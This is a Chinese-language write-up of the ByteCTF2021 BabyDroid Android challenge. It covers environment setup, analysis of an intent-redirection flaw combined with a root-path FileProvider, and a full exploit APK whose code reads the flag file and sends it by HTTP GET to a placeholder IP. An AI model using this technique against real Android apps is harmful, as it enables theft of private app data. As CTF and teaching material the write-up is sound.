ByteCTF2021 BabyDroid复现

直接参考ByteCTF2021 BabyDroid复现 | LLeaves Blog

还真没做过这样的题,首先环境就搞了半天

环境配置及坑点

PS:最后还是没跑起来

附件地址:ByteCTF

复现环境说明:ByteCTF2021 writeup for Android challenges - 飞书云文档

下载下来后可以看到Dockerfile等文件

你需要一台云服务器(因为在部署时,需要/dev/kvm)

容器里要跑 Android emulator,需要宿主机提供 KVM虚拟机里还不能再开 KVM(嵌套虚拟化)

一般物理机比较稳

将内容传至服务器后,给run.sh权限

然后修改Dockerfile需要修改几个地方

1
2
3
4
5
6
7
8
9
RUN set -e -x; \
yes | sdkmanager --install \
"cmdline-tools;latest" \
"platform-tools" \
"build-tools;30.0.0" \
"platforms;android-30" \
"system-images;android-30;google_apis;x86_64" \
"emulator";

改成

1
2
3
4
5
6
7
8
9
RUN set -e -x; \
yes | SKIP_JDK_VERSION_CHECK=1 sdkmanager --install \
"cmdline-tools;latest" \
"platform-tools" \
"build-tools;30.0.0" \
"platforms;android-30" \
"system-images;android-30;google_apis;x86_64" \
"emulator";

去掉

1
RUN sdkmanager --update;

老题目 + 新 SDK + 新 Docker = 必须做一次兼容修补

image-20260115213729715

这里还有个提交的输入简单写个脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import string
import itertools

prefix = "c7b1dd"
target = "000000"
chars = string.ascii_letters + string.digits

for length in range(1, 8):
for p in itertools.product(chars, repeat=length):
s = ''.join(p)
h = hashlib.sha256((prefix + s).encode()).hexdigest()
if h.startswith(target):
print(s)
raise SystemExit

image-20260115214100069

正确即可输入apk,URL

这个题目的逻辑不是传统意义的CTF解题

比赛方提供环境,环境内运行APK,我们需要用APK研究漏洞,编写出自己的APK去攻击利用,得到flag,因此复现时部署环境需要用kvm

APP分析

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.babydroid" platformBuildVersionCode="30" platformBuildVersionName="11">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<application android:theme="@style/Theme.Babydroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.bytectf.babydroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.bytectf.babydroid.Vulnerable">
<intent-filter>
<action android:name="com.bytectf.TEST"/>
</intent-filter>
</activity>
<receiver android:name="com.bytectf.babydroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
</application>
</manifest>
1
<action android:name="com.bytectf.TEST"/>

任何 App 都可以用 action com.bytectf.TEST 启动 Vulnerable

receiver 对应的是 Android 的 BroadcastReceiver 组件

在系统层面:

BroadcastReceiver 是一种“被动组件”

它不会自己运行,只会在收到匹配的广播 Intent 时被唤醒

intent-filter 是一个 匹配规则,告诉 Android哪些 Intent 能匹配到我这个组件”

Intent 是 Android 里请求做一件事的消息对象。一个我想干什么的声明,由系统帮你找谁来干

Android 为什么需要 Intent?因为 Android 有一个根本设计目标

App 之间不能直接互相调用代码(沙箱隔离)。

当一个 Intent 被发出时,系统会做:

1
2
3
for 每一个已注册组件:
if intent-filter 能匹配 Intent:
加入候选列表
Intent 字段 intent-filter 中是否声明 是否必须
action 必须匹配 必须
category Intent 里的每个都要被 filter 包含 有则必须
data scheme/host/path 匹配 有则必须
1
android:exported="false"

这告诉系统:只有同一个 App 或系统进程,才能用这个 Intent 命中

这里可能有点懵,先看后面

MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.bytectf.babydroid;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}

没啥

FlagReceiver

这段代码 不会自己运行,只会在 Android 系统调用它时运行。

1
2
3
4
5
有人 sendBroadcast(Intent)

Intent 的 action 命中 FlagReceiver 的 intent-filter

系统调用 onReceive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.bytectf.babydroid;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please submit an issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}
1
2
context.getFilesDir() 在 Android 上,必然返回:
/data/data/<应用包名>/files
1
/data/data/com.bytectf.babydroid/files/flag

肯定会写到这个路径

FileProvider

1
2
3
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>

FileProvider 是 Android 官方提供的“安全文件中转器”,用来把 App 私有文件,安全地以 content:// 形式分享给别人。

早期 Android,App 想把文件给别的 App,只能用:

1
file:///data/data/xxx/files/flag

FileProvider 的设计目的

不暴露真实路径,只给一个“受控的虚拟 URI”。

所以 FileProvider 做了三件事:

  1. 把私有文件映射成 content:// URI
  2. 控制 哪些路径可以被映射
  3. 控制 哪些 App 可以临时访问

exported=false 外部 App 不能直接访问这个 provider,不能:

1
content://androidx.core.content.FileProvider/...
1
2
3
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths"/>

xml/file_paths有路径

image-20260115224738520

子节点 含义
root-path 代表设备的根目录 /
files-path 代表 APP 内部存储空间私有目录下的files 目录,等同于 Context.getFilesDir()所获取的目录路径
cache-path 代表内部存储的 cache 目录,与 Context.getCacheDir()获取的路径对应
external-path 代表外部存储 (sdcard) 的根目录,与 Environment.getExternalStorageDirectory() 获取的路径对应。
external-files-path 代表外部存储空间 APP 私有目录下的 files目录,与Context.getExternalFilesDir(null)获取的路径对应
external-cache-path 外部存储空间 APP 私有目录下的 cache目录,等同于Context.getExternalCacheDir()
external-media-path 代表app 外部存储媒体区域的根目录,与Context.getExternalMediaDirs()获取的路径对应

意思是:只允许分享 getFilesDir() 目录下的文件

image-20260115223803430

/data/data/.../files/flag保险箱里真正的文件

FileProvider:可以临时发一张“取件码/通行证”给别人

别人凭这个码(content://...)去拿你允许的那份文件

android:name Android 提供的 FileProvider的实现类
android:exported 建议指定为 **false**,表示该 FileProvider 只能本应用使用,不是 public
android:authorities 相当于一个用于认证的暗号,在分享文件生成 Uri 时,会通过它的值生成对应的 Uri,该值是一个域名,一般格式为 packagename.fileprovider
android:grantUriPermissions 值为**true**,表示允许赋予临时权限,即设置为共享
meta-data 指定配置共享目录的配置文件

来自LLeaves

漏洞利用

Intent 本身不能绕过权限,但携带了 URI 授权的 Intent可以把对某一个具体文件/数据的访问权临时转交给别人

Intent 是如何提供对内容提供程序的间接访问的?

比如:

1
content://com.xxx.provider/images/123

这是一个具体到单条资源的 URI

拥有权限的 App 构造 Intent

1
2
3
Intent i = new Intent();
i.setData(uri);
i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
1
2
<provider
android:grantUriPermission="true">

意思是:可以通过 Intent 临时把某个 URI 的访问权授予别人

如果(且仅如果)被攻击 App 主动通过 Intent 把某个 content:// URI 发给攻击者,并且在这个 Intent 上授予了 URI 权限(FLAG_GRANT_*),
同时 Provider 允许 URI 授权(grantUriPermissions=true),且 file_paths.xml 允许映射到该文件,那么攻击者就可以“临时”读取这个具体文件。

好,总结完后我们可以最终利用漏洞

因为file provider设置为非导出,也就意味着外部无法访问。当需要进行文件共享的时候,需要在Intent中加入下面这些中Grant相关的flags ,在这里使用前两个就可以

1
2
3
4
public static final int FLAG_GRANT_READ_URI_PERMISSION = 0x00000001;
public static final int FLAG_GRANT_WRITE_URI_PERMISSION = 0x00000002;
public static final int FLAG_GRANT_PERSISTABLE_URI_PERMISSION = 0x00000040
public static final int FLAG_GRANT_PREFIX_URI_PERMISSION = 0x00000080;
  • FLAG_GRANT_READ_URI_PERMISSION:允许接收者读取 URI 的内容,即读取 URI 的数据,并在权限授予期间保持该权限。

  • FLAG_GRANT_WRITE_URI_PERMISSION:允许接收者写入 URI 的内容,即修改 URI 的数据,并在权限授予期间保持该权限。

  • FLAG_GRANT_PERSISTABLE_URI_PERMISSION:与LAG_GRANT_READ_URI_PERMISSION`或 FLAG_GRANT_WRITE_URI_PERMISSION一起使用,表示允许接收者在授予许可后持久保存该权限。这意味着即使应用程序被关闭,权限也会保持有效,并且对 URI 的访问仍然是允许的。

  • FLAG_GRANT_PREFIX_URI_PERMISSION:允许接收者读取或写入指定 URI 的所有后代 URI,而不必单独为每个 URI 授予权限。

因为

1
2
3
<provider
android:name="androidx.core.content.FileProvider"
android:exported="false">

意思是:

外部 App 不能直接通过

1
content://androidx.core.content.FileProvider/...

来访问这个 Provider

1
2
3
getContentResolver().openInputStream(
Uri.parse("content://androidx.core.content.FileProvider/xxx")
);

这样会被直接拒绝

但是Android 允许一种例外机制

“Provider 自己通过 Intent,把某个 URI 的访问权临时交给别人”

1
2
3
4
5
6
7
是否 exported=true ?
是 → 允许(再看权限)
否 → 看有没有 URI permission
有 → 允许
没有 → 拒绝
FLAG_GRANT_*
显式“破例放行某一个 URI

获得权限之后是构造URI去获得flag

真实文件路径是:

1
/data/data/com.bytectf.babydroid/files/flag

FileProvider 的 URI 是:

1
content://<authority>/<virtual-path>/<relative-path>

它完全由 file_paths.xml 决定。

因为

1
2
3
<paths>
<root-path name="root" path="."/>
</paths>
XML 含义
name=”root” URI 中的第一段路径
path=”.” 映射到真实文件系统的根

于是:

1
content://authority/root/data/data/xxx/files/flag

才会 映射到

1
/data/data/xxx/files/flag

因此有

1
Content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag

不是硬规则

1
2
3
4
5
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="androidx.core.content.FileProvider"
... />

android:authorities=”com.example.app.fileprovider”

这样做的好处是:

  • 避免 authority 冲突
  • 一看就知道是谁的 Provider

因为总流程是

1
2
3
4
5
6
1. 解析 URI
2. 取出 authority = "androidx.core.content.FileProvider"
3. 在已安装 App 的 AndroidManifest.xml 里查:
哪个 <provider> 声明了这个 authority
4. 找到对应的 Provider 实例
5. 交给它的 openFile() / query() 等方法处理

如何获得授权?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.bytectf.babydroid;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

/* loaded from: classes3.dex */
public class Vulnerable extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = (Intent) getIntent().getParcelableExtra("intent");
startActivity(intent);
}
}

这里有一个

1
2
Intent intent = (Intent) getIntent().getParcelableExtra("intent");
startActivity(intent);

getParcelableExtra(key) 的意思是:从“启动这个 Activity 的 Intent 的 extras(Bundle)里,按 key 取出一个 Parcelable 对象,并反序列化成 Java 对象。如

1
2
3
4
5
6
7
8
9
Intent
├─ action
├─ data
├─ flags
└─ extras (Bundle)
├─ "intent" -> [一段 Parcelable 二进制数据]
├─ "foo" -> "bar"
└─ ...

extras 是一个 Bundle,本质是:key → value 的映射表

Parcelable = Android 定义的一种“可跨进程序列化的对象格式”

1
Intent inner = getIntent().getParcelableExtra("intent");

这个的意思是得到Intent再把里面extra中的一个自称”intent”当成真正的Intent

到此漏洞利用全流程结束

EXP

可以编写如下脚本

MainActivity,本文末尾介绍了下各个函数的含义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

package com.bytectf.pwnbabydroid;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

if(getIntent().getAction() == "evil" ){
try {

InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
byte[] flag = new byte[inputStream.available()];
inputStream.read(flag);
inputStream.close();

Log.d("PWN", new String(flag));
new HttpGetAsyncTask().execute("http://xxx.xxx.xxx.xxx/?flag=" + new String(flag));

} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}else{
Intent intent_back = new Intent("evil");
intent_back.setClassName(getApplication().getPackageName(), MainActivity.class.getName());
intent_back.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent_back.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));

Intent intent = new Intent();
intent.setAction("com.bytectf.TEST");
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent", intent_back);

startActivity(intent);
}

}
}
1
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());

用当前 App 的 ContentResolver,按 Intent 里携带的 URI,打开一个读取该资源内容的输入流

1
ContentResolver cr = getContentResolver();

含义是:向 Android 系统申请一个内容访问代理,不能直接和别的 App 的 ContentProvider 通信,必须通过 ContentResolver。

发送函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.bytectf.pwnbabydroid;

import android.os.AsyncTask;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class HttpGetAsyncTask extends AsyncTask<String, Void, String> {
private HttpGetCallback callback;

public HttpGetAsyncTask() {
this.callback = callback;
}

@Override
protected String doInBackground(String... params) {
String url = params[0];
String response = null;
try {
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");

int responseCode = con.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK) {
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer responseBuffer = new StringBuffer();

while ((inputLine = in.readLine()) != null) {
responseBuffer.append(inputLine);
}
in.close();
response = responseBuffer.toString();
} else {
response = "HTTP error code: " + responseCode;
}
} catch (IOException e) {
response = "Exception occurred: " + e.getMessage();
}
return response;
}

@Override
protected void onPostExecute(String result) {
callback.onHttpGetComplete(result);
}

public interface HttpGetCallback {
void onHttpGetComplete(String result);
}
}

其他的一些知识

原创]Android APP漏洞之战(4)——Content Provider漏洞详解-Android安全-看雪安全社区|专业技术交流与安全研究论坛

Android APP四大组件中Content Provider

Intent 是 Android 的“跨组件通信消息”。

它不存数据本身,而是描述一次动作/请求

  • 打开某个 Activity
  • 发送一个广播
  • 请求另一个 App 帮我做事
  • 附带一些参数(extras)

1
2
3
startActivity(intent);      // 启动界面
sendBroadcast(intent); // 广播消息
startService(intent); // 启动服务

ContentProvider 是 Android 的“标准化数据访问接口”。

它用来:

  • 向别的 App 提供数据
  • 控制访问权限
  • 隔离真实存储细节

数据要给别人用,但不能把整个沙箱打开

1
2
Cursor c = getContentResolver().query(uri, ...);
InputStream in = getContentResolver().openInputStream(uri);

App A 想让 App B 选一张图片

App B 有 ContentProvider(相册)

App B 用 Intent 返回:

  • 一个 content://... URI
  • 外加 FLAG_GRANT_READ_URI_PERMISSION

App A 用 ContentResolver 读数据

image-20260116091333530

我们创建一个Content Provider,其他的应用可以通过使用ContentResolver来访问ContentProvider提供的数据,而ContentResolver通过uri来定位自己要访问的数据,所以我们要先了解URI

image-20260116091412608

1
scheme://authority/path?query#fragment
部分 含义 是否必需
scheme 使用什么协议/规则
authority 由谁来管 视 scheme
path 具体资源路径 视情况
query 参数
fragment 片段

官方文档:Content provider 基础知识 | App data and files | Android Developers

Intent的完整结构

Action

1
intent.setAction("android.intent.action.VIEW");

本质:一个字符串

含义:描述要执行的“动作类型”

Data(URI + MIME type)

1
intent.setData(Uri.parse("content://..."));

类型:Uri

含义:操作的对象

Category

1
intent.addCategory(Intent.CATEGORY_DEFAULT);

多用于隐式 Intent

用来进一步筛选可匹配的组件

例如:

CATEGORY_LAUNCHER

CATEGORY_DEFAULT

Component(显式目标)

1
intent.setClassName(pkg, cls);

1
intent.setComponent(new ComponentName(pkg, cls));

含义:

直接指定目标 Activity / Service / Receiver

一旦设置了 Component:

Action / Category / Data 的匹配就不重要了

系统不会再做 intent-filter 匹配

Extras(Bundle)

1
intent.putExtra("key", value);

Flags

1
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

Flags 会影响:

Activity 启动栈

权限授予(非常关键)

任务行为

intent-filter 匹配 =Android 在“你没指定要启动谁”的情况下,帮你从系统里找一个“愿意接这个 Intent 的组件”。

intent-filter 写在 AndroidManifest.xml 里,比如:

1
2
3
4
5
<activity android:name=".Vulnerable">
<intent-filter>
<action android:name="com.bytectf.TEST"/>
</intent-filter>
</activity>

它的意思是:

如果有 Intent 的 action 是 com.bytectf.TEST

系统可以把它交给我处理。”

如果 没有 setClass / setComponent,系统会:

  1. 看 intent 里有什么:
    • action
    • data (URI / MIME)
    • category
  2. 扫描所有已安装 App 的 manifest
  3. <intent-filter> 满足以下规则的组件:
1
Intent setClassName(String packageName, String className)